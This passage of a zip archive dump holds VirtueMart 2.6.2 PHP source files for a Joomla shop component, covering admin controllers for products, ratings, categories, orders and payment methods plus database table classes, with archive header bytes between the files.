$msgtype); } } public function massxref_sgrps(){ $this->massxref('massxref'); } public function massxref_sgrps_exe(){ $virtuemart_shoppergroup_ids = JRequest::getVar('virtuemart_shoppergroup_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_shoppergroup_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_shoppergroup_id' => $virtuemart_shoppergroup_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_shoppergroups'); } $this->massxref('massxref_sgrps'); } public function massxref_cats(){ $this->massxref('massxref'); } public function massxref_cats_exe(){ $virtuemart_cat_ids = JRequest::getVar('cid',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_cat_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_category_id' => $virtuemart_cat_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_categories',TRUE); } $this->massxref('massxref_cats'); } /** * */ public function massxref($layoutName){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $cids = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($cids); if(empty($cids)){ $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', '', 'vm')); } else { $session = JFactory::getSession(); $session->set('vm_product_ids', serialize($cids),'vm'); } if(!empty($cids)){ $q = 'SELECT `product_name` FROM `#__virtuemart_products_' . VMLANG . '` '; $q .= ' WHERE `virtuemart_product_id` IN (' . implode(',', $cids) . ')'; $db = JFactory::getDbo(); $db->setQuery($q); $productNames = $db->loadResultArray(); vmInfo('COM_VIRTUEMART_PRODUCT_XREF_NAMES',implode(', ',$productNames)); } $this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); $view->setLayout($layoutName); $view->display(); } /** * Clone a product * * @author Max Milbers */ public function CloneProduct() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY'); } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=product', $msg, $msgtype); } /** * Get a list of related products, categories * or customfields * @author Max Milbers * @author Kohl Patrick */ public function getData() { /* Create the view object. */ $view = $this->getView('product', 'json'); /* Now display the view. */ $view->display(NULL); } /** * Add a product rating * @author Max Milbers */ public function addRating() { $mainframe = Jfactory::getApplication(); /* Get the product ID */ // $cids = array(); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); // if (!is_array($cids)) $cids = array($cids); $mainframe->redirect('index.php?option=com_virtuemart&view=ratings&task=add&virtuemart_product_id='.$cids[0]); } public function ajax_notifyUsers(){ //vmdebug('updatestatus'); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) and count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $subject = JRequest::getVar('subject', ''); $mailbody = JRequest::getVar('mailbody', ''); $max_number = (int)JRequest::getVar('max_number', ''); $waitinglist = VmModel::getModel('Waitinglist'); $waitinglist->notifyList($virtuemart_product_id,$subject,$mailbody,$max_number); exit; } public function ajax_waitinglist() { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $waitinglistmodel = VmModel::getModel('waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($virtuemart_product_id); if(empty($waitinglist)) $waitinglist = array(); echo json_encode($waitinglist); exit; /* $result = array(); foreach($waitinglist as $wait) array_push($result,array("virtuemart_user_id"=>$wait->virtuemart_user_id,"notify_email"=>$wait->notify_email,'name'=>$wait->name,'username'=>$wait->username)); echo json_encode($result); exit; */ } } // pure php no closing tag PK@y>\v` ` 0components/com_virtuemart/controllers/custom.phpnuW+AgetView('custom', 'json'); // Now display the view. $view->display(null); } function save($data = 0) { $data = JRequest::get('post'); // onSaveCustom plugin; parent::save($data); } /** * Clone a product * * @author Max Milbers */ public function createClone() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('custom', 'html'); $model = VmModel::getModel('custom'); $msgtype = ''; $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_custom_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach ($cids as $custom_id) { if ($model->createClone($custom_id)) $msg = JText::_('COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY').' : '.$custom_id; $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=custom', $msg, $msgtype); } } // pure php no closing tag PK@y>\!xFQ2components/com_virtuemart/controllers/currency.phpnuW+A\Pf܀1components/com_virtuemart/controllers/ratings.phpnuW+A_cname); JRequest::setVar('view', $this->_cname); JRequest::setVar('layout', 'edit_review'); // JRequest::setVar('hidemenu', 1); if(empty($view)){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); } parent::display(); } /** * lits the reviews * @author Max Milbers */ public function listreviews(){ /* Create the view object */ $view = $this->getView('ratings', 'html'); $view->setLayout('list_reviews'); $view->display(); } /** * we must overwrite it here, because the task publish can be meant for two different list layouts. */ function publish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::publish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::publish(); } } function unpublish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::unpublish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::unpublish(); } } /** * Save task for review * * @author Max Milbers */ function saveReview(){ $this->storeReview(FALSE); } /** * Save task for review * * @author Max Milbers */ function applyReview(){ $this->storeReview(TRUE); } function storeReview($apply){ JRequest::checkToken() or jexit( 'Invalid Token save' ); if (empty($data)){ $data = JRequest::get ('post'); } $model = VmModel::getModel($this->_cname); $id = $model->saveRating($data); $errors = $model->getErrors(); if (empty($errors)) { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', $this->mainLangKey); } foreach($errors as $error){ $msg = ($error).'
        '; } $redir = $this->redirectPath; if($apply){ $redir = 'index.php?option=com_virtuemart&view=ratings&task=edit_review&virtuemart_rating_review_id='.$id; } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redir = 'index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id; } $this->setRedirect($redir, $msg); } /** * Save task for review * * @author Max Milbers */ function cancelEditReview(){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED' $this->setRedirect('index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id, $msg); } } // pure php no closing tag PK@y>\]~tt/components/com_virtuemart/controllers/state.phpnuW+AredirectPath .= ($country > 0) ? '&virtuemart_country_id=' . $country : ''; } /** * Retrieve full statelist */ function getList() { /* Create the view object. */ $view = $this->getView('state', 'json'); /* Now display the view. */ $view->display(null); } } PK@y>\^Ji 0components/com_virtuemart/controllers/plugin.phpnuW+Acheck('admin')){ return false; } $type = JRequest::getWord('type', 'vmcustom'); $typeWhiteList = array('vmshopper','vmcustom','vmcalculation','vmpayment','vmshipment', 'vmuserfield'); if(!in_array($type,$typeWhiteList)) return false; $name = JRequest::getString('name',''); JPluginHelper::importPlugin($type, $name); $dispatcher = JDispatcher::getInstance(); // if you want only one render simple in the plugin use jExit(); // or $render is an array of code to echo as html or json Object! $render = null ; $dispatcher->trigger('plgVmOnSelfCallBE',array($type, $name, &$render)); if ($render ) { // Get the document object. $document =JFactory::getDocument(); if (JRequest::getWord('cache', 'no')) { JResponse::setHeader('Cache-Control','no-cache, must-revalidate'); JResponse::setHeader('Expires','Mon, 6 Jul 2000 10:00:00 GMT'); } $format = JRequest::getWord('format', 'json'); if ($format == 'json') { $document->setMimeEncoding('application/json'); // Change the suggested filename. JResponse::setHeader('Content-Disposition','attachment;filename="'.$type.'".json"'); echo json_encode($render); } else echo $render; } return true; } } PK@y>\Չ&&2components/com_virtuemart/controllers/category.phpnuW+Aauthorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } $data = JRequest::get('post'); $data['category_name'] = JRequest::getVar('category_name','','post','STRING',JREQUEST_ALLOWHTML); $data['category_description'] = JRequest::getVar('category_description','','post','STRING',JREQUEST_ALLOWHTML); parent::save($data); } /** * Save the category order * * @author jseros */ public function orderUp() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the category order * * @author jseros */ public function orderDown() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the categories order */ public function saveOrder() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); //is sanitized JArrayHelper::toInteger($cid); $model = VmModel::getModel('category'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=category', $msg ); } } PK@y>\lyG-*%*%0components/com_virtuemart/controllers/orders.phpnuW+AgetOrderId($id, $dir)) { $order_id = $id; $msg = JText::_('COM_VIRTUEMART_NO_MORE_ORDERS'); } else { $msg =''; } $this->setRedirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$order_id ,$msg ); } /** * NextOrder * renamed, the name was ambigous notice by Max Milbers * @author Kohl Patrick */ public function prevItem(){ $this->nextItem('DESC'); } /** * Generic cancel task * * @author Max Milbers */ public function cancel(){ // back from order $this->setRedirect('index.php?option=com_virtuemart&view=orders' ); } /** * Shows the order details * @deprecated */ public function editOrderStatus() { /* Create the view object */ $view = $this->getView('orders', 'html'); /* Default model */ $model = VmModel::getModel('orders'); $model->updateOrderStatus(); /* Now display the view. */ $view->display(); } /** * Update an order status * * @author Max Milbers */ public function updatestatus() { //vmdebug('updatestatus'); $mainframe = Jfactory::getApplication(); $lastTask = JRequest::getWord('last_task'); /* Load the view object */ $view = $this->getView('orders', 'html'); /* Update the statuses */ $model = VmModel::getModel('orders'); if ($lastTask == 'updatestatus') { // single order is in POST but we need an array $order = array() ; $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order[$virtuemart_order_id] = (JRequest::get('post')); //vmdebug( 'order',$order); $result = $model->updateOrderStatus($order); } else { $result = $model->updateOrderStatus(); } $msg=''; if ($result['updated'] > 0) $msg = JText::sprintf('COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY', $result['updated'] ); else if ($result['error'] == 0) $msg .= JText::_('COM_VIRTUEMART_ORDER_NOT_UPDATED'); if ($result['error'] > 0) $msg .= JText::sprintf('COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY', $result['error'] , $result['total']); if ('updatestatus'== $lastTask ) { $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$virtuemart_order_id , $msg); } else { $mainframe->redirect('index.php?option=com_virtuemart&view=orders', $msg); } } /** * Save changes to the order item status * */ public function saveItemStatus() { //vmdebug('saveItemStatus'); $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('orders', 'html'); $data = JRequest::get('post'); $model = VmModel::getModel(); $model->updateItemStatus(JArrayHelper::toObject($data), $data['new_status']); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$data['virtuemart_order_id']); } /** * Display the order item details for editing */ public function editOrderItem() { //vmdebug('editOrderItem'); JRequest::setVar('layout', 'orders_editorderitem'); // JRequest::setVar('hidemenu', 1); parent::display(); } /** * correct position, working with json? actually? WHat ist that? * * Get a list of related products * @author Max Milbers */ public function getProducts() { /* Create the view object */ $view = $this->getView('orders', 'json'); $view->setLayout('orders_editorderitem'); /* Now display the view. */ $view->display(); } /** * Update status for the selected order items */ public function updateOrderItemStatus() { //vmdebug('updateOrderItemStatus'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); //JArrayHelper::toInteger($_items); $_orderID = JRequest::getInt('virtuemart_order_id', ''); foreach ($_items as $key=>$value) { //vmdebug('updateOrderItemStatus VAL ',$value); if (!isset($value['comments'])) $value['comments'] = ''; $data = (object)$value; $data->virtuemart_order_id = $_orderID; // $model->updateSingleItem((int)$key, $value['order_status'],$value['comments'],$_orderID); $model->updateSingleItem((int)$key, $data, true); } $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function updateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); $_orderID = JRequest::getInt('virtuemart_order_id', ''); $model->UpdateOrderHead((int)$_orderID, JRequest::get('post')); $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function CreateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $orderid = $model->CreateOrderHead(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$orderid ); } /** * Update a single order item public function updateOrderItem() { //vmdebug('updateOrderItem'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel('orders'); // $model->updateSingleItem(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.JRequest::getInt('virtuemart_order_id', '')); } */ public function newOrderItem() { //vmdebug('newOrderItem'); $orderId = JRequest::getInt('virtuemart_order_id', ''); $model = VmModel::getModel(); $msg = ''; $data = JRequest::get('post'); if (!$model->saveOrderLineItem($data)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } /** * Removes the given order item */ public function removeOrderItem() { //vmdebug('removeOrderItem'); $model = VmModel::getModel(); $msg = ''; $orderId = JRequest::getInt('orderId', ''); // TODO $orderLineItem as int ??? $orderLineItem = JRequest::getVar('orderLineId', ''); if (!$model->removeOrderLineItem($orderLineItem)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } public function exportOrdersAsCSV(){ $model = VmModel::getModel(); $idArray = JRequest::getVar('cid', 0, '', 'array'); $orders = array(); foreach($idArray as $orderId){ $orders[] = $model -> getOrder($orderId); } $csv = ''; $head = array('virtuemart_order_userinfo_id','virtuemart_vendor_id','order_number','order_total','order_subtotal','order_tax','order_status','user_currency_rate','customer_note'); foreach($head as $item){ $csv .= '"'.$item.'";"'; } foreach($orders as $order){ // $order = (array) $order;7 // $order['details'] // $order['items'] // $order['calc_rules'] $attribs = get_object_vars($order['details']['BT']); // $csv = '"BT"'; // foreach($attribs as $k=>$v){ // $csv .= ';"'.$k.':'$v; // } // $csv .= "\n"; } $jUser = JFactory::getUser(); $date = date("Y-m-d"); $name = $jUser->name.$date.'.csv'; // header("Content-Disposition: attachment; filename=\"".JFile::getName($media->file_url)."\""); // header("Content-Disposition: attachment; filename=\"".$name."\""); // echo $csv; parent::display(); // jExit(); } } // pure php no closing tag PK@y>\.}=//5components/com_virtuemart/controllers/orderstatus.phpnuW+A\0S  8components/com_virtuemart/controllers/shipmentmethod.phpnuW+AgetView('shipmentmethod', 'html'); $model = VmModel::getModel('shipmentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_shipment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=shipmentmethod', $msg, $msgtype); } } // pure php no closing tag PK@y>\$ $ 7components/com_virtuemart/controllers/paymentmethod.phpnuW+AgetView('paymentmethod', 'html'); $model = VmModel::getModel('paymentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_payment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=paymentmethod', $msg, $msgtype); } } // pure php no closing tag PK@y>\7Nq$components/com_virtuemart/config.xmlnuW+A
        PK@y>\Ww%components/com_virtuemart/version.phpnuW+A" . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; return; } if( !class_exists( 'vmVersion' ) ) { /** Version information */ class vmVersion { /** @var string Product */ static $PRODUCT = 'VirtueMart'; /** @var int Release Number */ static $RELEASE = '2.6.2'; /** @var string Development Status */ static $DEV_STATUS = 'MINOR'; /** @var string Codename */ static $CODENAME = 'PowerFox'; /** @var string Date */ static $RELDATE = 'May 22 2014'; /** @var string Time */ static $RELTIME = '1259'; /** @var string Timezone */ static $RELTZ = 'GMT'; /** @var string Revision */ static $REVISION = 'Revision: 7985'; /** @var string Copyright Text */ static $COPYRIGHT = 'Copyright (C) 2005-2012 VirtueMart Development Team - All rights reserved.'; /** @var string URL */ static $URL = 'VirtueMart is a Free Component for Joomla! released under the GNU/GPL2 License.'; } $shortversion = vmVersion::$PRODUCT . " " . vmVersion::$RELEASE . " " . vmVersion::$DEV_STATUS. " "; $myVersion = $shortversion .' '.vmVersion::$REVISION. " [".vmVersion::$CODENAME ."]
        " . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; } // pure php no closing tagPK@y>\Gf99:components/com_virtuemart/tables/product_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } }PK@y>\X!!4components/com_virtuemart/tables/category_medias.phpnuW+AsetPrimaryKey('virtuemart_category_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); $this->setTableShortCut('cm'); } } PK@y>\setPrimaryKey('virtuemart_category_id'); $this->setObligatoryKeys('category_name'); $this->setLoggable(); $this->setTranslatable(array('category_name','category_description','metadesc','metakey','customtitle')); $this->setSlug('category_name'); $this->setTableShortCut('c'); } public function check(){ $csValue = $this->limit_list_step; if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $this->limit_list_step = implode(',',$sequenceArray); vmdebug('my check',$this->limit_list_step); } return parent::check(); } /** * Overwrite method * * @author jseros * @param $dirn movement number * @param $parent_id category parent id * @param $where sql WHERE clausule */ public function move( $dirn, $parent_id = 0, $where='' ) { if (!in_array( 'ordering', array_keys($this->getProperties()))) { vmError( get_class( $this ).' does not support ordering' ); return false; } $k = $this->_tbl_key; $sql = "SELECT c.".$this->_tbl_key.", c.ordering FROM ".$this->_tbl." c LEFT JOIN #__virtuemart_category_categories cx ON c.virtuemart_category_id = cx.category_child_id"; $condition = 'cx.category_parent_id = '. $this->_db->Quote($parent_id); $where = ($where ? ' AND '.$condition : $condition); if ($dirn < 0) { $sql .= ' WHERE c.ordering < '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering DESC'; } else if ($dirn > 0) { $sql .= ' WHERE c.ordering > '.(int) $this->ordering; $sql .= ($where ? ' AND '. $where : ''); $sql .= ' ORDER BY c.ordering'; } else { $sql .= ' WHERE c.ordering = '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering'; } $this->_db->setQuery( $sql, 0, 1 ); $row = null; $row = $this->_db->loadObject(); if (isset($row)) { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '. (int) $row->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row this->k '.$err ); } $query = 'UPDATE '.$this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '.$this->_tbl_key.' = '.$this->_db->Quote($row->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row $row->$k '.$err ); } $this->ordering = $row->ordering; } else { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move update '.$err ); } } return true; } /** * Overwrite method * Compacts the ordering sequence of the selected records * @author jseros * * @param $parent_id category parent id * @param string Additional where query to limit ordering to a particular subset of records */ function reorder( $parent_id = 0, $where='' ) { $k = $this->_tbl_key; if (!in_array( 'ordering', array_keys($this->getProperties() ) )) { vmError( get_class( $this ).' does not support ordering'); return false; } $query = 'SELECT c.'.$this->_tbl_key.', c.ordering' . ' FROM '. $this->_tbl . ' c' . ' LEFT JOIN #__virtuemart_category_categories cx' . ' ON c.virtuemart_category_id = cx.category_child_id' . ' WHERE c.ordering >= 0' . ( $where ? ' AND '. $where : '' ) . ' AND cx.category_parent_id = '. $parent_id . ' ORDER BY c.ordering'.$order2; $this->_db->setQuery( $query ); if (!($orders = $this->_db->loadObjectList())) { vmError($this->_db->getErrorMsg()); return false; } // compact the ordering numbers for ($i=0, $n=count( $orders ); $i < $n; $i++) { if ($orders[$i]->ordering >= 0) { if ($orders[$i]->ordering != $i+1) { $orders[$i]->ordering = $i+1; $query = 'UPDATE '.$this->_tbl . ' SET ordering = '. (int) $orders[$i]->ordering . ' WHERE '. $k .' = '. $this->_db->Quote($orders[$i]->$k) ; $this->_db->setQuery( $query); $this->_db->query(); } } } return true; } } PK@y>\ n.components/com_virtuemart/tables/userinfos.phpnuW+AsetPrimaryKey('virtuemart_userinfo_id'); $this->setObligatoryKeys('address_type'); $this->setObligatoryKeys('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('ui'); } /** * Validates the user info record fields. * * @author RickG, RolandD, Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ public function check(){ if($this->address_type=='BT' or $this->address_type=='ST' ){ if($this->address_type=='ST' and empty($this->address_type_name)){ $this->address_type_name = 'Delivery Address '.rand(1,9); vmWarn('Table userinfos check failed: address_type '.$this->address_type.' without name, autogenerated '.$this->address_type_name,'check failed: ST has no name, autogenerated '.$this->address_type_name); //return false; } } else { vmError('Table userinfos check failed: Unknown address_type '.$this->address_type,'check failed: Unknown address_type '); vmdebug('Table userinfos check failed: Unknown address_type '.$this->address_type.' virtuemart_user_id '.$this->virtuemart_user_id.' name '.$this->name); return false; } if (!empty($this->virtuemart_userinfo_id)) { $this->virtuemart_userinfo_id = (int)$this->virtuemart_userinfo_id; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { $q = "SELECT virtuemart_user_id FROM #__virtuemart_userinfos WHERE virtuemart_userinfo_id = ".$this->virtuemart_userinfo_id; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $userId = JFactory::getUser()->id; if($total[0]!=$userId){ vmError('Hacking attempt uid check, you got logged'); echo 'Hacking attempt uid check, you got logged'; return false; } } } //return parent::check(); } else { if(empty($this->address_type)) $this->address_type = 'BT'; /* Check if a record exists */ $q = "SELECT virtuemart_userinfo_id FROM #__virtuemart_userinfos WHERE virtuemart_user_id = ".$this->virtuemart_user_id." AND address_type = ".$this->_db->Quote($this->address_type); if($this->address_type!='BT'){ $q .= " AND address_type_name = ".$this->_db->Quote($this->address_type_name); } $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $this->virtuemart_userinfo_id = (int)$total[0]; } else { $this->virtuemart_userinfo_id = 0;//md5(uniqid($this->virtuemart_user_id)); } } if(empty($this->virtuemart_user_id)){ $user = JFactory::getUser(); if(!empty($user->id)){ $this->virtuemart_user_id = $user->id; } } return parent::check(); } /** * Overloaded delete() to delete a list of virtuemart_userinfo_id's based on the user id * @var mixed id * @return boolean True on success * @author Oscar van Eijk */ function delete( $id=null , $where = 0 ){ // TODO If $id is not numeric, assume it's a virtuemart_userinfo_id. Validate if this is safe enough if (!is_numeric($id)) { return (parent::delete($id)); } // Implicit else $this->_db->setQuery('DELETE from 